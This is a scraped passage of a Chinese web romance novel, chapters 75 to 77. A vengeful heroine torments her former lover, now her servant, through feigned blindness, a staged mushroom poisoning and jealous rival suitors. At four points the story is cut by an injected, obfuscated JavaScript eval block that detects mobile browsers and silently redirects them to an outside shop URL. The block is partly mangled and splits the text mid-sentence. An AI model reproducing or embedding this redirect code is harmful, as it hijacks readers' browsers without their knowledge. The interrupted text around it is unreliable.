“等等。”她又叫住他,“作为我的仆人,知道我不能视物却不管我?让你走你就走?先扶我回房间再说!” 他站住,只得再折返回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14262283|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 扶住了她一只手,“走吧。” 这几天的黑暗她颇不适应,被人扶着走路时也并不能完全放心,然而也毫无办法。 君琰将她扶到小香榻上安置了,想着这回应该可以走了,却又被他叫住。 “我想起来了,药就在我房间里,你去木柜第二层右手边的抽屉里,把那几味药拿出来,我说方子,你自己配一副退热药。” “……好。”他照她说的去做,又听见她说:“药太烫了得放一会儿再喝,你得等等。过来吧。” ……她又要干什么呀。 他硬着头皮过去,她抓住了他的手,拉他在榻边坐下来。 “你今天有些反常,怎么了,这么怕我?”她这时候忽有些了然了,他的反应是为何。 “……小姐,”他的声音依然好听而充满磁性,却变得低低哑哑的,“再不让我走,我可说不好会做出什么事来了。如果……如果你再这样拉着我的话。” 沈月不以为然地一笑,语气娇喘微微:“你不喜欢吗?” “……不要玩火。”男人压抑地说。 沈月的声音又严肃了一点儿:“玩火是本小姐的自由。但是你,绝不可逾距,否则我永远都不会原谅你。” 她有意如此说着,握着他的那只手感受到了男人更剧烈的颤抖,她便愈发觉得得意。眼睛虽看不见,却能想象到他此刻的样子,便是一副宛如烈火焚身,却不能得到拯救的模样。 笑了笑,朱唇轻启:“我眼睛都受伤了,也看不见你是什么模样,你就不能让着我一点?” 男人嗓音低沉,带着渴求:“难道不逾距,你就能原谅我吗?” “说不准,有可能呢?”她依然像往常一样戏弄他,脑袋离他的胸膛很近,吸吮着那股松木香味,一手绕到了他背后。“你别怪我。我现在看不见了,只能通过触觉来知道想知道的事。” 君琰闭上了眼睛,竭力忍耐。 “你出了好多汗。”她说,“这对伤口恢复可不好。” 小手游移着,摸到了他背后的好多伤口,幽幽叹了口气,调笑一般道:“从前也是个为朝廷出生入死的人,到头来却栽在我这里了,不见天日的,你说你亏不亏呀?” 他一直进闭着眼睛不开口,他怕一旦开口,便再收不住那股火焰。 她的脑袋轻抵在他的喉结处,“你不说话,是看不起我么?” “不……”他微微张了口,下一瞬,整个人就再也忍不住,于是他抬手狠狠掐住了自己的某个穴道,身体两面受到煎熬,忽然不受控制地一头栽进了她怀中。 “哎?”她亦没料到他会至此,下意识地伸手接住了,怀中的人身子滚烫,恰如那日…… “这就受不了了?”她一手抱住他,心情似乎又由晴转阴了,“喂,醒醒。” 男人一动不动。 “难道,还要本小姐亲自喂你喝药?本小姐可没那个功夫……”她用了好大力气才把他推开,男人一头向后倒在了榻上,耳边清脆一声,她一想又担心是将他脑袋撞了,一番摸索着前去查看。 好半天终于重新摸到了对方的脑袋,摸了摸,松了口气,起身摩挲着去给他拿药。 75. 贪欢 “夭、夭夭……”他烧得神志不清,模模糊糊、断断续续地喊着她的名字,她看不见他的模样,却能从这声音和语气里听出他的欲念与渴求,捉弄的心思正盛,然手触到那滚烫的肌肤时,又出于习惯起了医者怜心。 “静儿,你来给他喂药吧。”她听到身后的脚步声,知道是侍女进来了,便吩咐道。 静儿应了上前来,有些讶异她竟还让他躺在她的榻上,却也没有多问,等喂完了药便禀报她说:“司公子这几日一直在研究治疗眼疾的药,眼下已配出了改良的方子,小姐要不要过会儿试一试?” “我知道了,你帮我敷药吧。” “那他……”静儿欲言又止。 小姐敷药需要躺在榻上,那君琰也躺在小姐的榻上?这张香榻够宽,可和他一起躺着小姐应该不乐意吧? “算了。他眼下发烧,再睡柴房也不好,就让他在我这儿待着直到醒来。反正他现在昏迷什么也不知道,不会对我做什么的。” 她上了榻在他旁边躺下了,“来帮我敷药吧。” 眼皮上凉凉的,枕边传来男人略有些急促的呼吸声,她这才发现原来自己也不能完全做到心如止水。 方才有意煎熬他,可她自己,也并不是一丝的煎熬也没有。 静儿做完事情就出去了,却又听见司云和秦璐两个在小声议论。 这两人最近小声嘀咕的次数越来越多了,九公子没来以前他们都是大眼瞪小眼、一副八百年死敌的样子,那尊大佛来了以后他两个倒是投机了,本月已不知是第几回被她看见私下议论了。 秦璐一副万念俱灰的样子:“我真是想不到,小姐竟和他同榻而眠了!” “怎么可能?不可能的,你一定搞错了,夭夭恨他恨得要命。” “我没搞错,不信你自己去……”说着叹了口气,“要不你和小姐说说,让她把我们三个都要了吧。” “……你在说什么呢?” “就是字面意呀!只要我们都心甘情愿,我觉得也没什么不可以的,你不去说啊,等小姐醒了我去说。” “站住,不准去!就算你我都愿意,那九公子必然也是不愿意的,真要一直这样和他待在一个屋檐下,他必然有一天会把你我都杀了的。” “也不一定。虽然九公子之前将我丢出浙江,但最近相处下来我觉得他似乎也不是那么不可理喻。他生得那样英俊,小姐喜欢他也不奇怪,我们共侍一妻,只要不让别人知道,又有谁会说什么呢?” “我劝你趁早放弃这种可笑的想法。我们三个里面,只有一个能陪着小姐。” 秦璐丧气地低下了头,“那么必然是你或者他了。其实我心里一直都知道,小姐从一开始就只是与我做交易而已,我是她用来气他的一个工具,根本谈不上什么喜欢。但你毕竟还是和我不一样,你和小姐是从小一起长大的情分。” “你倒是很有自知之明啊,不像有些人……” “咳咳。”静儿听够了,在他们身后咳了两声。 两人即刻停止了议论,朝她看过来。 司云:“静儿,药给小姐敷上了吗?她感觉如何?” “敷上了,小姐现在歇息了。她最不喜欢别人背后议论她。你们两个,要议论去房间关上门,今儿是我听见了,明儿要是给小姐听见了,我可帮不了你们。” “静儿姐姐,是我们错了。”秦璐赔了个笑脸,“要不我们明天请你吃饭吧。” “收起你那套,别想贿赂我,照顾好小姐的感受是最要紧。”说着绕过他们走开去了。 服药之后君琰的烧退了些许,沈月一觉睡到晚间,翻了几个身,草药掉了,再睁开眼时,视线竟已恢复光明,只是尚还有些模糊。 侧身看了看针枕旁的男人。 他因发烧,睡得比她更沉,此刻也还未醒转,眉心微蹙着,额上也全是汗,用被子严实地捂着身,一动不动。 沈月一伸手掀开了他的被子。 似是感觉到了,他微微动了动,但仍未完全醒,开始游离于梦醒之间,如喝醉了酒一般出现幻觉…… 沈月抬手,顺着他的脸边滑下,触到了那结实的胸膛,看见他身上有多处伤痕、多处淤青,有的伤口已结痂了,有的还在往外渗血。她也不介意被血污了香榻,只是盯着他看,眼睛不觉有些灼热了。 缓了缓,拿了自己的绣帕给他擦汗,从额到肩,细细擦过,又坐起身给他换药,将那些有血渗出的地方都处理干净了。大约是和他待一起的缘故,他周身滚烫的温度也影响到了她,现在整个人也开始觉得热得厉害,拿了把团扇给自己扇风。 实在太热了,她下榻走动了一会儿,去外面弄了盆凉水进来,将帕子绞湿了给他敷在额头上,只是那冷水帕子也抵不住他的体温,只稍稍一会儿就变温了。 君琰游只浅浅地感觉到有双手在自己身上动来动去,一会儿碰这里,一会儿碰那里,不知在做些什么…… 想要醒来看看发生了什么,意识却着实昏沉,他挣扎了好一会儿才终于醒过来,惊见她竟就躺在自己旁边,一只手放在离他不远的地方。 她眼睛上现在没有敷草药也没蒙白布,就那么睁着,空洞无神,好像在看他又好像没有看他。 沈月看见了一双幽深又充满疑惑的眼睛。 好在她刚才反应快,觉察到他要醒了,连忙装模作样地又躺下来,似乎什么也没发生过一样。 但君琰很快就觉察到不对了——身上伤口被重新清洗过包扎了,是谁做的? 狐疑地看了看她。 她先开了口:“方才让侍卫进来帮你换了药,退烧药也吃过了。如何,现在感觉可好些了?” “大概是好一点了,我……”他挣扎了一会儿坐起来,“你是怎么允许我赖在你这里的?” “因为挪不动你,我别无他法,总不可能自己去睡柴房吧。放心,即便有什么我也看不见。” “我刚才做梦……”他向她靠近了一点,一双幽深的眼睛盯着她,带着几分打量,“梦到有人对我上下其手,把我浑身都mo遍了。” “这梦还怪有意思的,看来你平日里没少想过女人。” “……你就得出这样的结论?” “行了,也许是我睡着的时候不老实吧。但我现在看不见,只能通过触觉来感知周围的情况,就算对你有一点冒犯,你也不至于肚量如此狭小吧?” “不至于。”君琰一直看着她,“太热了。既然你看不见,我便随意了。” 随后她便看见了他衣衫半开的模样。 “你要去沐浴是吗?” “嗯。”他低头竟发现自己衣上不知何时被打了个死结。 顿时明白了什么,悠悠转过来看向她。 “侍卫也太笨手笨脚的了,把我衣服上一个结给打死了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272360|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你的意思,”她依然没忘记自己现在还“看不见”,“难道想让一个看不见的人帮你解么?” 君琰没再说什么,也没有戳破她,低下头自己去解那个结。 “呀,这衣带上怎么还有胭脂。”他的声音不大不小,像在问她,又像是自语。“你的侍卫也玩胭脂水粉么?” 糟了,是自己方才碰过胭脂没洗净手吧。她一时觉得他应该是看穿了,遂也坐了起来…… 可她总不好承认自己刚才是在装吧。 许是看出了她的尴尬,他不再逗她了,“打扰了半日,我先出去了。” 眼睛恢复了是好事。 没想到的是,她还会趁他睡着时帮他换药。她对他到底是仇恨、冷情、绝情,还是不能忘情? 嘴角的笑容消失了,他好像陷入了一个欢喜复忧愁、忧愁复欢喜的永恒陷阱中,永远受她的把控与支配,永远不能游离出她的世界之外。 沐浴却也不得安生,且不说他烧还未完全退,整个人都有些晕晕乎乎的,光是门外那一声声猫叫,就够让他无可奈何的了…… “喵呜!喵?喵喵喵!”葡萄奋力挥舞着粉色的小肉垫儿拍打着浴室的门。 君琰一阵疑惑,不知道自己在里头沐浴那小猫在外面乱叫什么。 “喵、喵!”(本喵听见阿爹落水了,快让本喵进去救他!) 葡萄急得不行,开始在门外像个小火球似的跑过来跑过去,撞东撞西,不时就发出“轰隆”一声响。 “喵呜喵呜……”(虽然本喵也怕水,可是不能见死不救呀,阿爹平时对我还不错,吃了他好多好多小鱼干。) 这猫是怎么了……他想不明白,也没法管,过了一会儿,门口传来了脚步声,终于有人来抱起了葡萄。 “乖葡萄,不要淘气,带你去吃你最爱的小鱼干啦。”静儿抱起猫猫离开了。 “喵?喵喵!”葡萄奋力反抗,小爪子一阵乱扑,十分想从她怀里挣扎出去。 静儿:“今天怎么这么不乖呢?” “喵,喵!”(阿爹要被淹死了!) “喵嗷嗷!”(我不要吃小鱼干,你快放开我!) “喵呜——”(救命啊,绑架啦!谁来救救本喵啊?) “好啦好啦,他……九公子一会儿就出来的,你急什么?”静儿叹了口气,“真是搞不明白。” 抱着葡萄从秦璐房门前经过的时候,又听见里头的人在说话—— 司云:“你要去哪里?” 秦璐:“实不相瞒,我想换一张脸。” “换脸?” “和你们相比我总是很自卑。所以我想变得更好看,这样说不定小姐就会更喜欢我一点。” “你要拉皮刮骨么?” “怎么样我都不在意。只要能得小姐青眼,我什么都可以做。” 司云一瞬间仿佛也在他身上看见了自己的影子。从某种角度上说,他们还真是同病相怜。 和君琰比起来,秦璐的威胁显然要小多了,就算他换了张更好看的脸,夭夭妹妹心里也未见得就会有他。 司云忽然改了主意,“那我来帮你吧。” 秦璐有些惊讶,“你帮我?” “我也会医术,我就可以帮你,你又何必去外面找别人呢。”司云笑道:“现在最要紧的是你我得联手,在一百天到来之前,便让小姐厌弃了他。” 76. 玩弄 翌日,沈月复明,君琰烧退,司云抱病,秦璐蒙脸。葡萄坐在小门板上,嘴里叼着一条小鱼干,睁着水灵的大眼睛瞅着这四个奇怪的人。 “我看司云哥哥更像是中毒。”她搭着他的脉搏,“这种事儿还能瞒得过我吗?” “怎么会中毒?”秦璐整张脸都蒙起来了,嘟嘟囔囔地说话。 司云脸色很差,额上生了薄汗,拥被坐在榻上,不时还会咳嗽几声,从来温和的人显出了一丝脆弱,声音低低地说:“我没什么,只是身子微有不适,夭夭妹妹也别问了,把毒解了就成。” 沈月:“毒自然是要解的,事情也是得搞明白的,这可由不得你。在我眼皮子底下竟出了这样的事,我问你,昨晚都接触过什么东西?” 他忽然迷离地看着她,“妹妹,你肩膀上怎么站着好多小人儿?” “……什么小人?” “就是拉手跳舞的小人儿啊。”他看着她,抬手指了起来:“一,二,三……” 她一瞬了然了。“你是吃了毒蘑菇?”说着便到桌前去开方子,写好了交给侍女:“静儿,按这个方子去我屋里抓药来。” “对哦,说到这儿我想起来了,”秦璐适时补充道:“昨晚九公子去厨房做菜过,司云确实吃了他做的蘑菇。” 沈月眼中闪过一丝茫然,扭头看向了君琰。 他什么也没说,也疑惑地坐在那儿。 “他说的是真的吗?司云是吃了你做的蘑菇才中毒的?” “我不曾做过什么蘑菇。” 自她那晚把他当成司云,并将他做的菜分给别人后,他就再没去练习过做菜,更别说做什么毒蘑菇了。 “怎么不是你?竟还不承认。”秦璐大着胆子说:“我都看见了!” 没办法,司云帮他换脸,作为回报他得赔他演戏,不然怎么说拿人家手短呢。希望九公子不要记恨自己。 君琰一下就看穿了,敢情这两人今天是合起伙来搭台唱戏的。 “呵。”他冷笑了一声,没多说话。 “我说过,不可以动他。”她却站了起来,到了他面前来,“你敢动他,我必不会放过你。” 君琰脸上的漠然一瞬转为神伤了。连问都不问,就这样说么? 沈月内心焦灼、愤懑与疑惑并行。虽说她对他的信任早已岌岌可危,但她也知道君琰的脾性,若真要下手,多半是直接将对方杀了,哪还会曲里拐弯地下毒? 可是司云哥哥和秦璐,他们难道也会骗她吗? 可人会变也说不定。他们会变,君琰也会变。 “小人,是小人儿……”司云仍在那边喃喃。 “怎么不说话?”另一边,沈月看着君琰。 “无话可说。既然你已经这样认定,又何必听我辩解,你罚我便是。” “为什么下毒?你拿我的话当耳旁风是吗?你妒忌他?” “……我是妒忌他!” 他仰头看她,“因为有人可以对他这么信任、这么好,可以满心欢喜地吃他做的菜,这没什么不好承认的。但是沈月你也要有点脑子,我要动手,直接杀了就是,犯不着对你的司云哥哥下毒,还让他有机会在你面前告我的状。虽然我现在没了内力,但要杀他一个还是容易的,我一直没杀他,无非是因为你。” 她又给他最后这句话惹恼了,“这么说你对他的杀心早已有之喽?司云哥哥哪里得罪了你,你要对他有这么大恶意…… 哦对,我忘了,你杀谁不需要有恶意嘛,想杀便杀了,毕竟九爷从前可是动不动就灭人家一个帮派的,人命在你眼中向来都是轻如草芥!” 君琰悲凉一笑,“你是了解我的。” “那么……”她给他气懵了,“来人,把他给我绑到铁柱上去。” 侍卫们押着他走了,又将他绑回刚来的时候那根柱子上,他烧才刚退,并不舒坦,眼下又被吊起来,身上却愈发地麻木了,双目一片死灰。 “小人儿,过来。”司云仍在幻觉中。 “司云哥哥听话,把药喝了,小人儿就过来了。”她亲自给他喂药,秦璐在一边巴巴地看着,待了一会儿觉得自己的存在不合时宜,就溜了出去。 “快喝啊。”端着药碗的手臂上忽一热,她看见了他的眼泪,吧嗒吧嗒掉在自己手臂上,整个人不觉一蜷。“哭什么?觉得药苦我一会儿给你找蜜饯。” “这还是你第一次,第一次……” “第一次什么?” 她问他,他也不再说话,她无奈,叹了口气道:“那蘑菇应该毒性不是太大,就是致幻,你把药喝完。” “夭夭妹妹。”他喝完了药,脑子依然发热,伸手小心拉住了她的衣角。 “怎么了?” “不要,不要……”他仿佛看见了什么可怕的场景,眉心蹙着,伸手就要抚上她的脸颊,却被她于半空接住了手,没能碰到她的脸。他眼中流淌着忧伤的河流,泠泠如洒满了清冷的月光,“不要和他在一起……” “知道了。”她安慰似的拍了拍他的肩,随后轻轻移开身,将他安置在榻上。 两个时辰后,君琰身上才刚恢复一些的伤口,又复被铁lian搓磨开了,点滴的血顺着流下来,打在地上,沈月这时候走了过来。 看见他这副样子她心里抽了一下,想起上回帮他上药,仿佛也能感同身受这种伤口刚要愈合又炸开的疼,但她并不就此心软,这一刻反而是觉得,就算真是司云哥哥有意要栽赃他,自己也正好借此机会报复不是么。 她站在他面前看着他,内心觉得又心疼,又快意…… 被冤枉的滋味很好受吧?当初她在王府又何尝不是经常被冤枉。 君琰微睁开眼睛,看见了她。 眼圈红红的,眼下有乌青,穿着一件单薄的衣裳,领口半开了,青丝披散下来,丝丝缕缕的血顺着铁柱流下来,在她脚边“滴答”、“滴答”,他看向她的眼神,并无乞求和哀悯,唯有刻骨的悲伤。 她似是头一回在他眼中发现这般深切的悲伤,着实被狠狠刺了一下,但她也无法想见,一个杀人如麻、负人真心的魔头何以会有这样的眼神,就好像他才是真心被负的那个一样。就因为洛夭夭死过一次,所以他便会这样看着她了?他到底还记不记得自己从前做过的事哦? 两人四目相对静默了半晌,他率先开了口,声音里透着虚弱:“伤害了你的司云哥哥,沈小姐还要怎么罚,请便。” “你还委屈上了?”她的语气就像当初她在王府时他对她那样冷淡,“自己害了人,在这儿立什么牌坊呢?要不是司云哥哥劝我大事化小,你以为只是被绑在这里这么简单?” 君琰听着她的话心里一堵,喉头甜腥又将血压了回去,缓了缓说:“原来你是因为他才对我网开一面的啊……那你走吧。让我吊死在这里,你也不必来管。” 她看着他欲碎的模样,莞尔一笑——“我说过,不会让你死的,只会让你生不如死。” “好……那就来吧。” “我对你真是太失望了。”她说,“都是我的仆人了,脾气还是和以前一样,看谁不爽就直接下手,你简直比这世上最毒的毒蛇还要毒!” “……夭夭。”他轻喘一声,仿佛受挫的小兽。 她现在对他,没有信任,只有恨,爱么,此前他总觉得还剩下一丝,现在看,那一丝可还有吗?司云在她心里就这么重要?还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285900|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦璐,也要比自己重要? “不听话的下人是要接受惩罚的。可我知道你不怕罚,不怕疼,更不怕死。”她抬手拿起他的一缕青丝玩弄,“饥饿自然也是不怕的了?” 饭点已过了,他今日还未进食,此时确腹中饥饿,被她一说才察觉到。 “不如,你给司云哥哥吃了什么,自己也吃下去吧。”姑娘笑容冷艳,“膳食给你备好了。” 话音落下,静儿端着一碗蘑菇走了出来,放在旁边桌案上。 她亲手夹了一个蘑菇,递到他嘴边,笑意温和:“吃吧。将这碗毒蘑菇都吃下去,我就代司云哥哥饶了你。” 他没去看她夹的蘑菇,只是盯着她,没有犹豫,张口吃了下去。 一个,两个…… 沈月笑吟吟地看着他。 “好吃吗?” 他没有向她恳求什么,语气平静:“你亲手递来的,都好吃。” 沈月嘴角的笑容慢慢消失了。 这人生来就是个硬骨头,几乎从来不知道“求饶”二字怎么写,在和他纠缠不清的日子里,她依稀模糊地记得他可能是求过自己什么的,但是眼下他并没开口,宁可一口口吃下她喂来的东西。 “君琰。”她一手放下了碗筷,看着他:“这一碗下去你最多活到明晚,有什么遗言,现在可以和我说了。” “……是吗?” 他忽然笑了。 她是终于可以对他动手了吗? 之前他那般求死,她都执意不肯下死手。 ……那现在会不会是骗他的呢? 她终究还是不舍得的,不舍得! 眼下她对他要的就是玩弄和折磨,他又怎能轻易上当,难道她说什么他就信什么? 想至此,便不疾不徐地与她展开较量…… 眼中噙了一层薄泪,笑看向她:“多谢你给个痛快,我祝你和司云婚姻美满。” 沈月脸色一变。 她要听的并不是这个。 “你在骗人。”她冷冷地指了出来。“再给你一次机会,错过了可就没人帮你实现遗愿了,想好了再说。” “人之将死其言也善,为何就笃定了我是骗人?悬崖上你拉着我的那一刻,我也是真心的。活着的时候一切尚有可能,但我若真的不在了,除了祝福你和别人,我还能怎么样呢?” 说着又开始咳血了,她看着他胸前的衣衫上又溅了血点,不觉微微睁大了眼睛,飞快地看了一眼那刚装了蘑菇的碗。 他这状况…… 不可能啊,她只是想折磨他而已,那碗里装的不过是普通蘑菇罢了。 不,不可能。 她按捺下心里的焦灼,表面上依然平和淡静,继续问他:“你都要死了,还是不肯把所有的秘密都告诉我么?” “秘密?我能有什么秘密?” “关于你,关于我,关于一切。” “你想多了。当年的事就是我对不起你,你要对我做什么都是可以的。” ……好君琰!和他说了这么多,就换来一句自己想多了。看来无论她怎么做,他还是什么都不可能说。 “夭……咳咳,既然我都要死了,你能放我下来么?” 她冷着脸,走到旁边,抬手按了一下机关。 “轰”地一声,绑着他的lian子全断了开,他整个人摔在地上,跌得浑身一阵疼。 抬手,似想要碰她,她终究是拉了他一把。 刚拉着他站起来了,还未站稳,她又将手一放——他复又摔了下去。 “我不想和你多说,你自己去向司云哥哥道歉。如果他来和我说他原谅你了,我便——让你体面地走。” 77. 倦思 她说完退场,他自然是不会按她说的去做的,失魂落魄地回了屋,身上却愈发难受了,捂住胸口只觉气堵得厉害,周围无人帮忙,他想再去找她,却发现门不知何时被锁了起来。 “砰砰!”他拍了好几下门,可是外头没有一点响动,身上受不住了,他痛苦地贴着门坐了下来,蜷住身子。 心头涌过阵阵悲凉…… 难道是他刚才想错了,这回她不是折磨和玩弄,而是来真的了? “咳咳咳……”地上吐了一堆血,他眼神悲凉,似乎想透过那扇木门看见外面所有的一切,周遭世界却寂静如雪。“来人,来人……” “喵?”过了很久,忽然一阵猫叫声透过门缝传了进来。 “葡萄?”他的声音已虚弱至极,“是你吗?” 另一边,沈月去看望司云。 “好些了?” “嗯。”他半张脸缩在被子里,似有些羞赧了,闭上了眼睛。 “我惩罚过他了,可是司云哥哥,”她的眼神犀利起来:“你不应该骗我。” 司云睁开眼睛,“什么?” “本来不想揭穿你,可你所为也未免太傻,为他伤了自个儿值么?” 她正说着,葡萄忽然来了,急匆匆的样子,小肉垫儿跑得像风火轮,直接跳到她身上来,一通喵喵乱叫。 “怎么了葡萄,可是饿了?”她拿起它的小山竹捏了捏,“我让静儿给你拿肉肉吃去。” “喵喵喵!”(今天可不是要肉呐!) “不对?那是要陪你玩?”她想了想,“也不对,要陪玩也不是这个叫声……是出什么事了吗?” “喵喵喵!”葡萄“嗖”地一下跳了下去,跑出几步,回头看她。 “哦,来了。”她跟着出去,丢下司云一个人在屋内。 一路跟着小猫来到了君琰房门口,一看门竟然被锁了,顿时大感不妙,拍了拍门,又喊人去拿锁。 “夭夭?”里边传来他的声音,她闻言隔着门问:“你怎么了?外面不知道谁把门锁了,我叫人拿钥匙去了。” 看她这反应好像并不知情?他心中的疑惑又升起了。 “小姐,钥匙……钥匙不见了。” “不见了?!” 葡萄:“喵喵喵!”(救救我爹!) “那就给本小姐把门砸开。”她让里头的他往后躲躲,随后自己让到一边。片刻后只听“轰隆”一声,木门毁了,她连忙进去。 “君琰!快,快来人……” “我还以为你不会来了……”他看了她一眼,就闭上眼睛晕了过去。 到底怎么回事,自己分明拿的是没毒的蘑菇,不过是为了吓他而已呀! * 她最近经常忆起过去的事情,或美好的,或痛苦的,交缠无休。 由最初相遇时他捧着她的脸小心吻去泪水的画面,也有后来王府之中一个个孤冷的日夜,再有后来见面不识时那些复杂的情绪。雨后春晨,宿云未散,朝雾犹浓,然她不能感知,因为这里是一座地下宫殿。她也不记得自己当初是缘何想到这个地方的,或许是因为觉得黑暗像一层保护色,能遮蔽所有的一切。 君琰静静躺在榻上已是第三天,她给他开过方子用过药,也已经查清了此事的情由,却倦怠得什么话也不想说了。她这时候才忽然发现,虽然一直在对他报仇,折磨着他,她却好像并没有想象中的高兴,反而更添了许多不清不楚的苦涩。 秦璐换了一张脸,看上去比从前英俊了很多,她却依然提不起什么兴趣;司云哥哥变了,变得会对人下毒,那日她自以为无毒的蘑菇便是被他下了毒,她已查清了,可是那又如何呢? 他毕竟还是她的司云哥哥,是从小一起长大的、如今世上所剩无几的亲人之一。更何况君琰本就和他们有仇,她可以为了他去责备他么? 遂将此事轻轻揭过了,没有再提。司云仿佛意识到了什么,看着她时,神色有些像做错了事的孩子。他能从她的态度中感知到她的想法。 这么久了,关于当年的事,想着就觉不对劲的地方越来越多,却没人能来告诉她什么,哪怕从洛夭夭变成了沈月,她也依然是混乱的。 秦璐受尽苦楚终于给自己换了一张还算英俊的脸,却依然没得到小姐青眼,不觉心中苦甚,然他也没有多说什么,小姐照看中毒昏迷的九公子,他便在暗中看着小姐,脑子里不停地想,小姐想要的东西到底是什么呢? 他一直在努力了解小姐的过去,试图通过东听西听凑来的碎片般的信息去拼凑有关于她的全貌,越探知却越觉得惊心。 沈月虽要报复君琰,但也没想叫他就这样死了,最近除看顾他以外,她常默默在脑中盘算着许多事。司云因她近来的疏远而话少了,秦璐倒是比以往更加多言,怕她没人说话,常想出许多笑话段子来逗她笑,虽然并没有什么用。 “我总感觉你们都有事瞒着我。”这天她说,“按理说星月阁的情报网是足够的,可即便我做过阁主,也总有查不到的事情,不是查不到,而是有人刻意隐瞒。秦璐,你说是不是?” “小姐具体指的哪方面的事呢?我刚回来半年,有些事也是才听说的,想来我知道的事情小姐也应该是知道的吧。” “你说来听听?” “……就说近几年浙江都不太平吧。属下听说是燕国皇帝派了人来楚国,找一个人。” “什么人?” “小姐知道‘天机库’吗?” 这个名字好像有几分熟悉,但她记不太清了。 “七星道人有谶言,天机库中有机甲图,用其制成机甲,力量强大可毁天下、统一四海,是以几百年来几国君主都在派人去找能打开天机库的人,而这个人据说就在楚国。听说燕国那边借着联姻之事派了许多人前来,不惜一切,就是要找这个人去开天机库,现在怎么样了却是不知。” “我似乎也听过这个谶言……”她回忆着说道:“但没你说的这般清楚,亦不知他们是要找一个人去开这东西。若照这么说的话,天机库一旦打开,岂非四海格局都要为之一变?天底下真有这样厉害的东西么?” “正因机甲杀伤力大,才会为有野心的君主所觊觎,一代代人都不惜花大代价去寻。” 秦璐所言之事,似乎与她想要知道的关系不大,可听起来又让人感觉可怕,不免想要再问得深些。 “天底下只有一个人能打开它?什么样的人?为何不是一把钥匙呢?” “这个属下就不知道了。据说这个人为了逃避几国的追捕东躲西藏,从未有过一天安生日子,因为他不想被任何一国的君主找过去。” “也是……杀伤力大的东西,若独为一人所掌控,控制不好就很有可能是场灾难,到时成全了某位君主的一统四海之志,却也让无数百姓跟着遭殃。毕竟野心和欲望是无限的,不是所有人都明白强不欺人、盛不攻战的道理。”她想着说,“我要是这个人,还不如自己死了的好,一死百了,让所有人都死心,那谶言也就自当消弥了。” “可是这个人也没有做错什么,许是天命降临在他身上了吧。” “是没有做错什么,只是,若以一人之命能救四海苍生,能中断一代代人延续下来的虚妄之事,也没有什么不可以的。” “小姐所言属下敬佩,不过那人想要活命也是人之常情……这局是无解的,往后会如何,谁也不知道。” “不过为什么能开天机库的独独是那一个人呢?这个谶言影响如此广远,它的前因是什么?怎么从来没听人说过?” “这更多的,属下也不清楚了…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14294825|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此等事情多是皇家机密,小姐想知道得更详细的话,不妨等九公子醒来问问他,他毕竟是皇家的人,肯定知道。” 沈月看了眼榻上的君琰。 “要是什么都能问他的话,我也犯不着苦恼了。放心,他什么都不会说的。” “小姐心里还是有司公子的。”秦璐瞅着她的神色说,“您别怪他,他也是因为太喜欢您了才会一时糊涂的。” “你都知道。”沈月眼色犀利地看了过来,“他帮你换脸,你陪他做戏是不是,你们现在胆子是越来越大了,连我都骗。” “小姐恕罪……属下这就去领罚。” “回来。” “小姐?” “事情都过去这么久了,要罚你们的话早就罚了。” 她叹了口气,抬眼示意对他:“门背后地上有两个箱子,你去打开看看。” 秦璐依言照做,到了那箱子边上,蹲下来一打开,里头全是金银珠宝,满满的一箱…… “左边这箱是给你的,也是付给你一百天的报酬,右边那箱是司云的。还有小半月时间就到了,到时,你们就一起离开吧。” “小姐?!小姐你要赶我们走?”秦璐声音里带了哭腔,“我什么都也不要,只想在小姐身边伺候一辈子,您可不可以不要……” “吱呀”一声,门被推开,司云也听见动静进来了,显然他已听见了她刚才说的话。 司云上前一步,“夭夭妹妹,你要赶我走?” 沈月低了低头,许久。 “司云哥哥,我从前就说过要你走,你不肯,我便也算了,于是一拖至今……” “这几天君琰昏迷着,我想了许多事。正好司云哥哥也来了,有些话我就和你们两一起说吧。” “我知道,我也有不对的地方。” 